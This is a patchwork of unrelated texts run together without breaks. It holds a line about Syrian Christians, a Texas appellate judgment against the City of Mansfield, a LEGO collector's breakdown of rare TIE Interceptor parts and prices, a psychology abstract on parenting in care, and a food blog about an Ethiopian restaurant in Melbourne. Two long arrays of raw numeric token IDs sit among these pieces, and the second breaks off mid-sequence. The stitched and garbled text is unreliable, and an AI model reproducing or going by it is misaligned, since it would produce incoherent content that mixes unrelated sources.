Christians and Muslims of the Middle East”, and their current role in Syria, as citizens, is not different. “They try to make reason prevail, their fight is not for the Sunnis, or the Shias, but for human rights, freedom and democracy, for a cultural and social humanism”. (D.M.) COURT OF APPEALS SECOND DISTRICT OF TEXAS FORT WORTH NO. 02-15-00034-CV Josh and Kelli Savering, Chattanya § From the 348th District Court Chavda, Pannaben Nancha, Phillip and Lisa Klotz, Paul Arseneau, § of Tarrant County (348-270155-14) Allison Blackstein, and Jack A. Muhlbeier § September 29, 2016 § Opinion by Justice Meier v. § Dissent by Justice Sudderth City of Mansfield § (en banc) JUDGMENT ON EN BANC RECONSIDERATION This court has considered the record on appeal in this case and holds that there was error in the trial court’s order. It is ordered that the order of the trial court is reversed and the case is remanded to the trial court for further proceedings consistent with this opinion. It is further ordered that Appellee City of Mansfield shall pay all costs of this appeal, for which let execution issue. SECOND DISTRICT COURT OF APPEALS By /s/ Bill Meier

[ 374, 14182, 18707, 31773, 13, 12778, 374, 1269, 374, 342, 416, 8055, 36035, 26392, 25905, 21, 310, 2130, 275, 247, 7863, 577, 5239, 1690, 253, 530, 5166, 1720, 8382, 18724, 15507, 254, 15, 1583, 476, 320, 574, 323, 247, 1698, 2105, 984, 597, 497, 2130, 275, 247, 1077, 27296, 873, 27744, 24, 24244, 6625, 1502, 15, 380, 2264, 1180, 273, 34864, 327, 378, 4662, 4492, 310, 1679, 685, 2233, 15, 187, 187, 2512, 310, 247, 2014, 14182, 18707, 37621, 18086, 884, 1269, 884, 1269, 577, 3821, 21805, 342, 21208, 282, 46386, 26392, 3436, 1093, 534, 310, 671, 4451, 281, 436, 873, 15, 1707, 403, 4390, 5293, 2130, 323, 7289, 327, 378, 4662, 4492, 285, 253, 1390, 721, 1770, 6224, 3388, 310, 816, 1840, 370, 1797, 15, 1235, 13, 342, 253, 4585, 1146, 370, 1619, 15, 187, 187, 9301, 13, 627, 403, 374, 14182, 18707, 3689, 338, 304, 28496, 561, 300, 1023, 633, 386, 26392, 24271, 3439, 3529, 310, 760, 2130, 275, 436, 285, 8978, 3121, 7121, 45626, 539, 15, 733, 434, 2130, 323, 1679, 685, 370, 18, 533, 253, 3388, 7289, 4376, 310, 8003, 281, 370, 18, 15, 1235, 323, 247, 908, 5313, 15, 187, 187, 1394, 671, 878, 884, 273, 247, 9648, 1846, 26392, 577, 18795, 5418, 31773, 40370, 854, 1269, 854, 342, 1997, 408, 15, 831, 310, 16613, 984, 273, 253, 4567, 5239, 342, 436, 5313, 13, 760, 436, 873, 13, 657, 6475, 434, 308, 9051, 36808, 313, 1036, 10, 285, 253, 444, 338, 293, 20610, 313, 1012, 10, 2430, 625, 685, 577, 15, 733, 31218, 670, 13355, 2417, 1016, 15, 187, 187, 28343, 12034, 285, 5307, 26392, 1884, 1449, 81, 520, 5418, 7335, 1714, 374, 1269, 337, 342, 495, 4410, 418, 11441, 13, 495, 25056, 1292, 24787, 13, 25056, 26580, 29484, 369, 4439, 275, 854, 5239, 15, 1422, 760, 878, 337, 285, 352, 434, 11142, 387, 670, 13355, 1099, 187, 187, 8195, 7520, 5313, 326, 368, 878, 310, 374, 10063, 399, 763, 721, 1269, 721, 496, 13083, 313, 13021, 274, 10, 7066, 3026, 428, 8078, 374, 26392, 577, 23025, 67, 15, 733, 310, 2908, 275, 253, 625, 3332, 8437, 2405, 308, 9051, 45398, 17078, 285, 347, 271, 17958, 5313, 275, 8170, 28430, 4291, 41053, 15, 1583, 3388, 670, 13355, 1449, 1016, 13, 3164, 984, 253, 1077, 2074, 577, 23025, 66, 671, 6613, 13355, 1449, 187, 187, 510, 10315, 18707, 6439, 280, 378, 4662, 577, 89, 21, 7489, 4055, 4567, 21397, 310, 2130, 275, 884, 5239, 1690, 374, 3081, 530, 5166, 5239, 285, 253, 18189, 3228, 15, 1198, 247, 908, 581, 13, 253, 4376, 31218, 2810, 281, 13355, 1235, 187, 187, 21, 10063, 34382, 301, 388, 583, 495, 2188, 399, 15, 1384, 45, 1227, 1668, 15, 17, 3591, 26392, 6879, 68, 938, 403, 671, 2424, 15, 831, 5313, 4620, 275, 577, 5239, 13, 253, 954, 3332, 273, 534, 369, 4050, 434, 22222, 1247, 4974, 11107, 1525, 15, 380, 4942, 3332, 11659, 273, 436, 873, 3164, 12668, 253, 4376, 1066, 15, 187, 187, 7050, 6931, 1549, 3498, 21, 14182, 18707, 399, 763, 577, 1269, 577, 496, 13083, 313, 13021, 274, 10, 342, 8141, 14848, 308, 9051, 388, 1506, 29484, 369, 2130, 342, 253, 308, 9051, 45398, 818, 16607, 285, 253, 530, 5166, 1720, 8382, 15204, 796, 14311, 1216, 2233, 746, 15, 380, 625, 1846, 14182, 2071, 37043, 18707, 2715, 310, 2130, 342, 854, 5239, 313, 14102, 10344, 13, 9326, 13, 512, 308, 9051, 45398, 11640, 2698, 380, 14182, 18707, 12955, 310, 670, 13355, 1438, 327, 3388, 15, 187, 187, 8195, 7520, 5313, 13, 253, 577, 14182, 18707, 4033, 337, 89, 20, 313, 30045, 34107, 16, 10504, 1133, 1178, 10, 26392, 721, 16129, 310, 2130, 342, 247, 2264, 273, 577, 5239, 15, 530, 5166, 1720, 8382, 15204, 796, 14311, 1216, 13, 530, 5166, 18724, 15507, 254, 13, 285, 9963, 1839, 8229, 366, 4697, 26703, 15, 1422, 1472, 3164, 1469, 281, 6947, 2810, 281, 13355, 1976, 1016, 327, 841, 15, 187, 187, 11564, 854, 5239, 452, 26392, 1884, 1867, 15656, 11494, 10315, 18707, 7335, 1714, 374, 1269, 374, 342, 44211, 2102, 28288, 29891, 29484, 15, 733, 434, 760, 670, 13355, 938, 13, 533, 11543, 281, 320, 275, 954, 952, 434, 18345, 4243, 15, 187, 187, 7050, 1884, 1449, 3498, 19, 14182, 18707, 7335, 1714, 374, 89, 18, 5418, 10547, 41754, 3102, 6115, 13188, 1238, 29484, 310, 2130, 275, 818, 5239, 285, 31218, 670, 13355, 938, 15, 187, 187, 510, 1390, 2181, 326, 1142, 38454, 1908, 672, 21016, 436, 873, 285, 253, 954, 4755, 2181, 326, 368, 812, 923, 275, 247, 10713, 2257, 310, 253, 9775, 1984, 15, 41959, 1984, 378, 4662, 4492, 2722, 495, 273, 841, 4211, 275, 253, 1390, 495, 2607, 285, 495, 4390, 2130, 15, 380, 4376, 7102, 2722, 326, 253, 4211, 5098, 2491, 432, 370, 1099, 14595, 1671, 15, 187, 187, 1909, 309, 753, 4321, 13, 512, 273, 253, 18707, 27695, 707, 403, 253, 5662, 1997, 698, 15, 337, 16, 20, 273, 253, 873, 556, 417, 644, 4197, 275, 436, 3295, 323, 689, 247, 9976, 15, 5595, 952, 1053, 626, 452, 326, 1142, 5662, 18707, 7437, 23157, 1475, 15, 380, 7520, 7437, 403, 7777, 7520, 285, 1663, 8214, 323, 247, 873, 326, 310, 3012, 4577, 685, 954, 530, 5166, 5239, 15, 1876, 273, 253, 28648, 7437, 285, 7437, 7320, 432, 247, 1355, 1180, 273, 5662, 5239, 403, 1469, 281, 2572, 253, 1180, 273, 20098, 4492, 7367, 326, 368, 651, 878, 281, 1659, 15, 10916, 27459, 13, 604, 368, 1053, 626, 2168, 452, 247, 17167, 273, 2234, 7437, 13, 368, 943, 3164, 816, 4489, 247, 3426, 581, 13, 5734, 368, 1663, 513, 751, 247, 1048, 1307, 2199, 15, 187, 187, 42, 671, 1928, 26337, 281, 3748, 326, 436, 873, 4453, 1711, 15, 42438, 352, 281, 530, 5166, 308, 9051, 45398, 25782, 2222, 352, 4453, 2972, 90, 285, 20523, 15, 1707, 434, 247, 2176, 22611, 281, 253, 5662, 5239, 13, 285, 1580, 436, 310, 253, 760, 3565, 308, 9051, 5383, 17516, 13, 530, 5166, 1176, 10841, 1346, 588, 1900, 452, 247, 1659, 323, 352, 15, 733, 434, 38342, 326, 253, 12838, 10993, 5901, 588, 320, 867, 1170, 352, 3517, 13, 533, 309, 4282, 604, 597, 2455, 588, 15, 380, 908, 4376, 273, 436, 873, 3548, 626, 11527, 13, 3164, 1955, 281, 253, 1979, 273, 253, 873, 15, 187, 187, 6300, 323, 794, 309, 1833, 4710, 598, 253, 1551, 273, 253, 22685, 7968, 285, 368, 476, 923, 604, 368, 476, 2619, 562, 253, 2234, 7437, 13, 285, 476, 368, 1056, 562, 253, 643, 1781, 873, 326, 434, 275, 627, 32, 187, 187, 688, 253, 3618, 281, 1705, 13, 309, 588, 320, 18216, 253, 7437, 326, 1056, 598, 1016, 273, 253, 9872, 2030, 5595, 4009, 8584, 5239, 1157, 37648, 22729, 263, 12234, 13, 285, 4559, 792, 84, 15, 15852, 84, 342, 2151, 275, 1557, 283, 42, 15, 11604, 5989, 285, 31104, 15, 187, 6504, 1374, 941, 327, 247, 12640, 3410, 273, 5870, 342, 2151, 30247, 8176, 281, 16252, 1557, 407, 581, 6703, 4693, 46861, 497, 48397, 342, 1110, 432, 247, 5301, 3410, 432, 253, 1072, 25231, 2170, 15, 380, 275, 14, 6672, 1387, 497, 7019, 347, 2779, 281, 320, 18492, 1655, 31104, 3237, 342, 608, 14, 281, 854, 14, 2913, 14, 744, 2151, 13, 533, 497, 15622, 432, 253, 2168, 12307, 2961, 5301, 1387, 347, 1199, 407, 643, 9351, 273, 2021, 12748, 347, 407, 31104, 3237, 591, 396, 15, 733, 369, 3103, 9125, 326, 31104, 2550, 320, 2326, 347, 271, 11104, 273, 4292, 30472, 273, 616, 1655, 5989, 15, 52, 1831, 661, 403, 13103, 15, 1893, 310, 2739, 15, 187, 187, 2320, 37027, 187, 187, 1147, 457, 84, 3189, 267, 281, 20930, 673, 2, 2752, 13056, 14448, 342, 42778, 285, 23948, 16300, 835, 359, 1016, 4417, 247, 2282, 1754, 327, 247, 873, 10014, 15, 831, 1770, 457, 84, 10014, 310, 773, 17967, 8118, 668, 285, 309, 369, 18564, 253, 2022, 2282, 15, 309, 1160, 33131, 302, 466, 13, 534, 310, 247, 30363, 1095, 2200, 1054, 336, 11609, 13, 342, 247, 8463, 285, 7238, 281, 2784, 14517, 3062, 2866, 10, 187, 187, 26600, 40650, 309, 457, 306, 1160, 1841, 323, 436, 5311, 326, 4455, 751, 247, 1175, 2934, 387, 253, 673, 15, 1244, 840, 16906, 13, 309, 457, 306, 1869, 13, 773, 1276, 327, 444, 1277, 3886, 369, 309, 4680, 32, 7721, 2594, 3332, 6667, 27, 1133, 7320, 41168, 13, 1269, 22728, 1048, 270, 8500, 13, 10692, 23182, 5500, 68, 1582, 13, 281, 1416, 816, 247, 1643, 15, 309, 9101, 436, 13612, 588, 6604, 1110, 12028, 15, 6049, 32, 6089, 13, 2028, 479, 1108, 452, 368, 2455, 10379, 1258, 728, 256, 472, 1100, 1078, 32, 187, 187, 4553, 776, 2159, 7408, 281, 17361, 13, 359, 4895, 281, 21818, 342, 619, 275, 14, 33530, 13, 743, 3024, 442, 285, 21638, 275, 12413, 15, 21638, 275, 1798, 1663, 14528, 2739, 13, 594, 309, 369, 19497, 281, 1379, 731, 562, 323, 690, 1175, 16961, 15, 187, 187, 4041, 7237, 359, 2427, 281, 253, 3506, 656, 7432, 757, 1108, 285, 984, 21638, 310, 22145, 4087, 973, 29433, 13, 344, 556, 2686, 22186, 3506, 656, 7432, 757, 2739, 1078, 19639, 2949, 3506, 656, 7432, 571, 313, 5371, 457, 84, 1024, 1929, 347, 10570, 30147, 285, 444, 902, 3525, 481, 6089, 15, 2058, 1878, 743, 3024, 442, 574, 1620, 7407, 352, 1078, 2, 187, 187, 510, 3506, 656, 7432, 757, 310, 247, 1077, 4633, 10301, 326, 1057, 2739, 432, 253, 23972, 273, 7531, 13, 9417, 5899, 27247, 757, 285, 444, 902, 250, 266, 12398, 15, 6000, 673, 359, 564, 627, 13, 352, 310, 1900, 14998, 15, 844, 9403, 1340, 253, 5019, 499, 2569, 13, 533, 436, 673, 309, 4425, 326, 359, 943, 1340, 17114, 432, 253, 8910, 15, 187, 187, 1231, 574, 247, 4564, 273, 37843, 281, 488, 85, 776, 27690, 313, 1439, 326, 776, 22115, 3254, 3058, 488, 85, 1076, 30970, 844, 574, 253, 8359, 1370, 36794, 1279, 4816, 23, 15, 361, 582, 534, 497, 37072, 273, 46342, 7238, 8186, 326, 574, 644, 43235, 285, 2304, 3901, 342, 5352, 17426, 13, 17972, 4166, 285, 27450, 447, 15, 187, 187, 1231, 671, 574, 253, 1182, 1028, 46635, 26023, 4816, 23, 15, 361, 582, 534, 369, 618, 307, 860, 264, 1182, 1028, 46635, 342, 247, 1708, 13, 42028, 17099, 1257, 250, 285, 24108, 12364, 326, 574, 644, 8689, 34269, 342, 24983, 27450, 447, 12922, 15, 187, 187, 9, 8497, 27, 17099, 1257, 250, 310, 247, 3511, 39371, 7802, 326, 310, 247, 2234, 24405, 275, 27247, 757, 285, 444, 902, 250, 266, 2739, 15, 496, 75, 3525, 310, 247, 18988, 13, 13785, 640, 751, 10238, 326, 310, 21533, 1160, 273, 716, 567, 1108, 247, 13723, 326, 3548, 457, 85, 2130, 275, 6976, 15, 2058, 253, 3506, 656, 7432, 266, 352, 457, 84, 1160, 342, 1881, 12976, 12274, 13, 11789, 13, 2502, 256, 2061, 18256, 285, 14128, 892, 2108, 15, 1916, 1056, 2450, 3525, 13, 253, 12274, 310, 6804, 342, 1824, 285, 4136, 281, 42990, 323, 2067, 1897, 13, 1078, 1146, 30363, 715, 1781, 13785, 1582, 15, 733, 3249, 562, 2602, 285, 39088, 90, 13, 342, 8783, 273, 2329, 11385, 327, 581, 1930, 2698, 187, 187, 14358, 37843, 2210, 342, 2450, 3525, 10238, 21968, 15, 1583, 497, 15143, 1108, 42028, 285, 14998, 342, 34149, 15, 1583, 497, 258, 1031, 2167, 15, 831, 310, 417, 247, 1659, 326, 1057, 6196, 2739, 2, 187, 187, 2214, 39047, 13, 359, 6960, 2620, 17114, 281, 3894, 875, 441, 15, 329, 1781, 499, 2569, 273, 2450, 3525, 369, 3982, 562, 285, 253, 22855, 84, 497, 40414, 327, 1755, 15, 380, 2739, 310, 22186, 407, 4172, 2784, 745, 1355, 7437, 273, 2450, 3525, 285, 970, 253, 10238, 281, 2619, 598, 22855, 15, 187, 187, 1231, 574, 27, 187, 187, 510, 439, 9401, 4816, 1010, 10, 534, 369, 25806, 3216, 653, 5491, 8734, 365, 284, 326, 574, 644, 18621, 285, 948, 38086, 342, 17972, 4166, 285, 17513, 17426, 15, 353, 44264, 278, 44264, 13, 2451, 562, 326, 4166, 15, 309, 858, 1333, 2168, 326, 352, 457, 84, 417, 6196, 2739, 2, 733, 1160, 323, 247, 42028, 13, 5825, 555, 12364, 13, 3738, 309, 651, 452, 7636, 352, 604, 690, 7437, 273, 8734, 365, 66, 574, 644, 1669, 275, 323, 14542, 15, 831, 369, 5608, 275, 247, 1652, 1721, 13, 285, 359, 26531, 264, 253, 3511, 12364, 26531, 264, 689, 253, 2450, 3525, 347, 359, 18739, 15, 187, 187, 510, 19155, 5830, 4816, 1093, 10, 14278, 273, 1781, 37072 ]

2 Dark Gray Plate, Round 2 x 2 with Rounded Bottom Element 2654 is available in a massive 4 sets including the UCS Rebel Snowspeeder. They can be had for a low cost because they were available in a very inexpensive set 4097 Mini Robots. The total number of sellers on Bricklink is less than 100. There is a single Dark Gray Cockpit 10 x 10 x 4 Octagonal with Axle Hole Element 2618 which is also unique to this set. There are currently none available for sale on Bricklink and the last 6 month sales average is just above $21.50, with the highest being $28. Next, there are 2 Dark Gray Minifig Utensil Sextant Element 30154that is only available in this and 5976 River Expedition. It's available for less than $1 but the average sale price is closer to $1.50 for a used piece. You also need 10 of a fairly common Element 4151 Black Plate Modified 8 x 8 with Grill. This is notable because of the 32 sets with this piece, only this set, Vader's TIE Advance (16) and the Eifel Tower (13) require more than 4. It averages about $.55 each. Between 1987 and 2000 Element 3040p01 Black Slope 2 x 1 with 3 Red Lamps, 3 Yellow Buttons, Yellow Border Pattern was released in 8 sets. You only need 1 and it's cheap at about $.25 Another rare piece that you need is 2 Blue Dish 6 x 6 Inverted (Radar) Webbed - Type 2 Element 4285b. It is included in the more recent 10131 TIE Fighter Collection and as an alternate piece in Central Precinct HQ. They average about $.40 each, probably because the very similar 4285a also runs $.40 The Light Gray Technic Brick 4x4 Open center 32324 is available in 10 sets including 2 additional UCS sets and the Cloud City. For a used one, the price averages close to $.50 4 Blue Rigid Hose 3mm D. 20L / 16.0cm Element 75c20 are also required. This piece appears in 4 sets, the most recent of which was 2012's Gungan Sub 9499. The relatively recent availability of this set probably drove the price down. Element 3960px4 Dark Gray Dish 4 x 4 Inverted (Radar) with Star Wars TIE Hatch Pattern was available with the TIE Fighter 7146 and the UCS Rebel Blockade Runner 10019. The more common Dark Bluish Gray version is available with 8 sets (Surprise, surprise, all TIE Fighter variants.) The Dark Gray variant is about $.80 on average. Another rare piece, the 4 Dark Gray Bar 1x3 (Radio Handle/Phone handset) Element 6190 is available with a total of 4 sets. UCS Rebel Blockade Runner, UCS Snowspeeder, and 6738 Skateboard Challenge. You're probably going to spend close to $.75 each on these. Only 8 sets have Element 3039pb014 Light Gray Slope 2 x 2 with Horizon Indicator Screen Pattern. It's only about $.20, but unlikely to be in most people's spare parts. Element 3040px2 Dark Gray Slope 2x1 Black Crosshair pattern Green insectoid Pattern is available in 7 sets and averages about $.20. The last thing that many collectors consider when purchasing this set and the most obvious thing that you could see in a bulk lot is the instruction book. Instruction book Bricklink shows 3 of these sold in the last 3 months and 3 currently available. The price guide shows that the sold books range from $25-$35. As I said earlier, all of the Gray Pieces are the older Grays. 1/3 of the set has not been produced in this color for over a decade. Most people don't have that many older Gray pieces laying around. The rare pieces are truly rare and really expensive for a set that is significantly smaller than most UCS sets. All of the specialty pieces and pieces pulled from a small number of older sets are going to increase the number of bricklink orders that you would need to place. Honestly, if you don't already have a handful of key pieces, you should probably just buy a complete one, unless you really do like a long term project. I also feel obliged to mention that this set looks old. Comparing it to UCS TIE Fighter 75095 it looks blocky and primitive. There's a certain charm to the older sets, and since this is the only official TIE Interceptor, UCS Completists will always have a place for it. It's doubtful that the LEGO Group will be remaking it soon, but I wonder if they ever will. The used price of this set isn't terrible, probably due to the size of the set. Just for fun I'll throw up the rest of the auction pictures and you can see if you can pick out the key pieces, and can you make out the other large set that's in there? In the weeks to come, I will be exploring the pieces that make up each of the Top 25 Most Valuable sets, Ultimate Collector Series, and Modulars.Parents with children in care--I. Current circumstances and parenting. Interview data on a consecutive sample of families with children multiply admitted to residential care by one inner London borough were contrasted with those from a comparison sample from the same geographical area. The in-care group were twice as likely to be experiencing current parenting problems with 5- to 8-year-old children, but were distinguished from the already disadvantaged comparison group as much by other kinds of family difficulties as by parenting problems per se. It was therefore argued that parenting cannot be seen as an attribute of individuals irrespective of their current circumstances.Sporks are awesome. So is food. african It’s Meal to Share time! My monthly collaboration with Penny and Celeste where we each cook a course based on a set theme. This month’s theme is “South African” and I was allocated the main course. I made bobotie, which is a baked curried mince dish, with a milk and egg topping.(more…) Occasionally I’ve made things for this blog that seemed like a good idea at the time. And then afterwards, I’ve thought, “What on EARTH was I thinking??” See recent examples: hand pulled noodles, xiao long bao, ladybird cupcakes, to name just a few. I suspect this recipe will join those entries. Why? Well, tell me – have you ever butterflied sardines before? After our short trip to Sydney, we returned to Melbourne with my in-laws, Annette and Terry in tow. Terry in particular really loves food, so I was keen to take them out for some good meals. One evening we went to the Abyssinian – and because Terry is outrageously well travelled, he has actually eaten Abyssinian food before…. IN Abyssinia (what’s now known as Ethopia and Eritera). Well. At least Annette had never experienced it before! The Abyssinian is a very popular restaurant that does food from the Horn of Africa, serving traditional Ethiopian and Eritrean cooking. Every time we go there, it is always packed. We normally order the combination platter, but this time I decided that we should order dishes from the menu. We had a couple of starters to whet our appetite (not that our appetites needed whetting!). We had the Melaznzany ($6.00), which were cubes of grilled eggplant that had been seasoned and marinated with fresh garlic, olive oil and chillies. We also had the zucchini starter ($6.00), which was sautéed zucchini with a light, spicy berbere and tomato sauce that had been sprinkled with crushed chillies seeds. (Note: berbere is a hot spice mixture that is a key ingredient in Ethiopian and Eritrean food. Injera is a sour, pancake like bread that is traditionally made of teff – a grain that isn’t available in Australia. At the Abyssinan it’s made with self raising flour, rice, red sorghum and corn flours. To make injera, the flour is mixed with water and allowed to ferment for several days, before being baked into large pancakes. It comes out soft and spongey, with lots of air holes on one side.) Both starters came with injera bread rolls. They were fantastic – spicy and packed with flavour. They were oily though. This is not a place that does diet food! For mains, we ordered five dishes to share between us. A large platter of injera was brought out and the stews were tipped on top. The food is eaten by ripping off small pieces of injera and using the bread to pick up stew. We had: The shiro ($15) which was finely ground spiced chickpeas that had been cooked and simmered with olive oil and chopped garlic. Mhmm mhmm, check out that oil. I did say already that it’s not diet food! It made for a spicy, nutty sauce, although I would have loved it if some pieces of chickpea had been left in for texture. This was served in a little pot, and we spooned the hot sauce spooned over the injera as we ate. The dubba ($18) consisted of large cubes

[ 14967, 434, 3684, 9693, 45652, 1988, 13, 12284, 367, 624, 261, 13, 387, 48906, 14, 46480, 14, 1731, 1438, 390, 2827, 280, 15, 81, 624, 261, 33, 67, 8735, 15, 12312, 15, 187, 187, 21093, 6338, 671, 17328, 8811, 326, 6406, 12478, 9513, 8330, 15, 496, 3684, 9693, 13, 253, 6406, 12478, 10130, 588, 3464, 253, 1072, 13, 3738, 690, 7871, 1024, 1537, 320, 10268, 253, 3430, 1039, 15, 187, 36, 2185, 4708, 3481, 24730, 187, 38, 30292, 3886, 34928, 3481, 49248, 187, 3887, 42300, 48, 13, 49248, 535, 187, 43, 35047, 2933, 30292, 1372, 48, 13, 4888, 535, 50254, 50274, 16667, 13, 187, 187, 87, 15, 187, 187, 9707, 26090, 3481, 49248, 13, 535, 50254, 50274, 28107, 15, 187, 7803, 586, 187, 7803, 586, 187, 7803, 586, 187, 7803, 586, 187, 7803, 19668, 3015, 15267, 187, 2302, 15, 16331, 14, 2922, 14, 361, 20070, 14, 1311, 187, 187, 40417, 432, 253, 187, 187, 28898, 296, 4412, 2111, 187, 187, 1171, 308, 35083, 3928, 13, 6112, 187, 187, 9, 6669, 4, 740, 19568, 1508, 37, 10, 187, 187, 48, 367, 309, 427, 309, 473, 427, 535, 186, 2374, 4223, 884, 13, 5403, 13, 9517, 13, 2516, 743, 798, 12892, 313, 1145, 798, 12892, 10, 369, 38455, 323, 253, 8399, 190, 187, 1171, 32516, 3385, 456, 2903, 1923, 342, 247, 16631, 314, 844, 23821, 15, 50276, 2374, 4397, 1283, 13, 5403, 13, 743, 798, 12892, 5966, 247, 190, 187, 4297, 7443, 12678, 13, 10376, 281, 247, 12678, 4345, 15, 50276, 1145, 798, 12892, 5821, 281, 3464, 327, 36334, 39791, 190, 187, 24925, 20446, 323, 5093, 1107, 762, 2176, 2426, 285, 2515, 15, 50276, 2374, 2552, 1283, 13, 5215, 13, 247, 190, 187, 31629, 369, 2918, 327, 253, 2418, 434, 13786, 281, 1294, 2638, 281, 2006, 6881, 8518, 15, 187, 186, 1145, 798, 12892, 21402, 346, 5088, 3, 281, 12494, 1264, 23962, 326, 344, 18801, 247, 12798, 275, 8411, 273, 190, 187, 8701, 19077, 1307, 326, 344, 7081, 642, 8914, 15, 50276, 9147, 14296, 13, 743, 798, 12892, 434, 19077, 5908, 13, 190, 187, 36445, 758, 2418, 434, 33072, 337, 13, 247, 10440, 273, 743, 798, 12892, 5877, 271, 16826, 14, 2504, 20260, 15, 50276, 1145, 798, 12892, 190, 187, 13578, 326, 352, 369, 417, 779, 275, 253, 10440, 15, 50276, 38642, 8176, 417, 8958, 672, 390, 835, 253, 190, 187, 22468, 2047, 369, 2668, 15, 50276, 38642, 812, 417, 5100, 1880, 253, 20260, 275, 253, 10440, 369, 275, 190, 187, 12690, 10501, 15, 50276, 28144, 13, 14296, 285, 247, 3186, 2285, 16113, 743, 798, 12892, 434, 1728, 13, 1436, 13, 285, 190, 187, 5546, 13, 4560, 2418, 434, 33072, 1384, 313, 3696, 1074, 10, 275, 743, 798, 12892, 434, 11320, 285, 2418, 434, 33072, 1283, 313, 3696, 1074, 10, 327, 247, 190, 187, 6170, 1462, 275, 521, 14098, 15, 50276, 38642, 20503, 326, 743, 798, 12892, 2183, 779, 326, 344, 908, 247, 12798, 275, 190, 187, 8701, 789, 15, 50276, 1145, 798, 12892, 6940, 342, 521, 3101, 285, 521, 7586, 285, 858, 417, 1750, 12851, 273, 2418, 434, 190, 187, 1672, 26849, 1283, 13, 253, 12798, 1119, 275, 521, 14098, 15, 50276, 2302, 581, 2455, 2335, 44901, 273, 253, 12798, 15, 187, 186, 1145, 798, 12892, 21402, 346, 3650, 11793, 3, 281, 12494, 1740, 13, 534, 2424, 743, 798, 12892, 281, 3464, 1561, 190, 187, 53, 35083, 3928, 5734, 2720, 26239, 369, 7169, 407, 253, 2111, 390, 247, 20446, 5908, 15, 50276, 190, 187, 10457, 743, 798, 12892, 434, 2316, 3186, 13, 14296, 22111, 2534, 32933, 285, 3440, 28064, 190, 187, 35817, 7101, 347, 2418, 434, 1889, 1856, 953, 854, 13, 898, 13, 2145, 13, 1668, 13, 285, 1722, 15, 50276, 5443, 434, 33072, 854, 285, 2418, 434, 33072, 898, 190, 187, 9802, 253, 3522, 273, 3919, 1283, 13, 5215, 13, 17253, 327, 731, 15, 50276, 38642, 5783, 436, 3522, 369, 1561, 190, 187, 1145, 798, 12892, 434, 19077, 2180, 15, 50276, 7130, 281, 14296, 13, 743, 798, 12892, 8176, 281, 1907, 11612, 247, 1113, 190, 187, 9029, 275, 16700, 13, 4441, 275, 16700, 3928, 15, 50276, 38642, 858, 417, 871, 253, 47893, 273, 673, 326, 743, 798, 12892, 190, 187, 1033, 290, 387, 16700, 15, 50276, 1466, 29583, 15569, 6646, 13, 743, 798, 12892, 434, 3101, 13, 840, 7859, 326, 743, 798, 12892, 574, 1669, 3874, 275, 190, 187, 16429, 281, 521, 789, 327, 8458, 15, 187, 186, 1145, 798, 12892, 21402, 346, 3650, 11793, 3, 281, 12494, 2620, 13, 534, 6960, 743, 798, 12892, 417, 281, 10738, 667, 190, 187, 26774, 27312, 7871, 390, 14217, 390, 281, 7619, 390, 8251, 667, 14234, 2330, 342, 667, 10821, 15, 50276, 688, 190, 187, 5443, 434, 33072, 337, 13, 743, 798, 12892, 310, 17253, 36070, 247, 10821, 861, 342, 521, 1669, 1133, 15, 50276, 38642, 6492, 190, 187, 3529, 253, 1133, 861, 310, 247, 15331, 323, 346, 30456, 611, 6626, 937, 534, 861, 7790, 326, 743, 798, 12892, 310, 417, 247, 629, 273, 253, 190, 187, 30456, 10821, 285, 326, 344, 574, 5339, 247, 14169, 15, 50276, 6436, 13, 14296, 671, 4767, 326, 253, 27352, 861, 190, 187, 16534, 671, 1599, 378, 15, 44, 904, 285, 326, 352, 1057, 417, 7933, 1599, 352, 476, 320, 12814, 347, 14169, 611, 6626, 15, 187, 186, 1145, 798, 12892, 21402, 346, 3650, 11793, 3, 281, 12494, 2800, 13, 43987, 743, 798, 12892, 432, 10023, 273, 667, 190, 187, 26774, 38594, 379, 2110, 571, 13, 824, 347, 802, 23042, 13, 25527, 390, 7963, 13, 390, 1581, 2007, 31720, 272, 327, 2133, 190, 187, 31369, 15, 50276, 38642, 4767, 326, 327, 4397, 1283, 13, 5403, 13, 253, 673, 743, 798, 12892, 369, 8927, 4845, 327, 190, 187, 22275, 318, 13, 344, 858, 417, 452, 667, 21504, 48809, 327, 521, 3564, 15, 50276, 5443, 434, 33072, 337, 31444, 247, 31720, 327, 190, 187, 1145, 798, 12892, 434, 987, 1133, 15, 50276, 2512, 310, 642, 3542, 3908, 273, 743, 798, 12892, 434, 3520, 7286, 13, 533, 190, 187, 30786, 760, 6255, 7211, 432, 14296, 15, 50276, 28144, 13, 1223, 327, 19077, 13, 743, 798, 12892, 1694, 767, 747, 190, 187, 41506, 48809, 326, 497, 417, 17253, 275, 2418, 434, 33072, 337, 327, 521, 3564, 27, 50276, 3, 3493, 12451, 3, 327, 521, 987, 1133, 285, 190, 187, 3, 41793, 3, 327, 521, 1669, 1133, 15, 50276, 3039, 2546, 13, 743, 798, 12892, 7558, 326, 521, 21504, 48809, 497, 417, 10821, 2905, 15, 50276, 190, 187, 38642, 5544, 326, 253, 31720, 264, 3000, 13205, 743, 798, 12892, 347, 271, 3939, 10821, 3558, 665, 190, 187, 10178, 644, 16780, 275, 13, 390, 15335, 7416, 253, 10821, 15, 50276, 20964, 13, 14296, 7859, 281, 4560, 247, 190, 187, 13934, 273, 2854, 11498, 275, 743, 798, 12892, 434, 1113, 13, 2418, 434, 33072, 655, 28, 247, 20731, 14339, 281, 13717, 275, 521, 190, 187, 3026, 4461, 13, 2418, 434, 33072, 818, 28, 285, 7098, 47525, 327, 247, 37884, 275, 521, 14098, 13, 2418, 434, 33072, 577, 15, 187, 186, 510, 2418, 23391, 12494, 581, 15, 50276, 510, 2111, 1119, 12494, 767, 281, 320, 346, 3650, 11793, 449, 50276, 510, 190, 187, 18336, 671, 3413, 33295, 1264, 949, 2800, 281, 320, 346, 5088, 3, 285, 21633, 6857, 743, 798, 12892, 190, 187, 4297, 7443, 15, 187, 186, 688, 7158, 342, 253, 2418, 434, 2748, 13, 253, 1302, 16290, 743, 798, 12892, 281, 25259, 1107, 8, 190, 187, 8259, 14675, 275, 253, 32576, 9333, 273, 253, 6112, 4487, 273, 20526, 8293, 15, 187, 186, 16667, 16540, 247, 2014, 2523, 327, 4549, 13, 275, 534, 344, 7881, 253, 32572, 273, 190, 187, 22432, 2011, 387, 521, 39791, 15, 50276, 6436, 13, 275, 436, 1083, 13, 521, 39791, 273, 15457, 4854, 369, 190, 187, 13028, 327, 2552, 1283, 13, 5215, 15, 50276, 20108, 281, 3978, 1458, 13, 5215, 13, 642, 4549, 812, 320, 1160, 327, 253, 2332, 